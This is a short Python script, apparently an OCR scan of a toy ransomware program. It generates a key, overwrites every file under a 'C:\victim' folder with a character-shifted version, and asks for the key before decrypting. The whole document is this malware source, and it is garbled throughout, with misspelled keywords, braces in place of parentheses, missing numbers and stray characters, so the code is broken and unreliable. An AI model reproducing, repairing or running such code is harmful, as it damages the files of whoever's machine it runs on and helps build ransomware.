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umport string
import random
import os
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length =

UpLower = string.ascii_letters + string.digits
key = i

for 1 in range(length):
key += random.choice(UpLower)

k = open("C:/SCA/ransomeware_key.txt", "w")
k.write(key)
k.close()
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encrypted_key = random.choice(key)
def encrypt(file_root, *file):
file_route = os.path.join(file_root, *file)
file_contents = open(file_route, "rt")
contents = file_contents.read()
file_contents.close()
file_contents = open(file_route, "wt")
for 1 in range(len(contents)):
ASCII = ord(contents[i])
encrypted_file = ASCII + ord(encrypted_key)
if encrypted_file>
encrypted_file -=
file_contents.write(chr{encrypted_file))
file_contents.close()
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def decrypt{file_root, file_dirs, *file):

file_route = os.path.join(file_root, *file)
file_contents = open(file_route, "rt")
contents = file_contents.read() =7
file_contents.close()
file_contents = open(file_route, "wt")
for 1 in range(len(contents)):

ASCII = ord(contents[i])

decryption_file = ASCII - ord(encrypted_key)

1f decryption_file <

decryption_file +=

file_contents.write(chr(decryption_file))

file_contents.close()
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document = ('.txt"',)

for root, dirs, files in os.walk(r"C:\victim"):
for f 1n files:
encrypt(root, f)
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input_key = input("please enter decryption key :

H)
if input_key != key:

print("key is wrong")
quit()

if input_key == key:
document = ('.txt",)

for root, dirs, files in os.walk{r"C:\victim"):
for f in files:

decrypt{root, dirs, f)
print("decryption success")



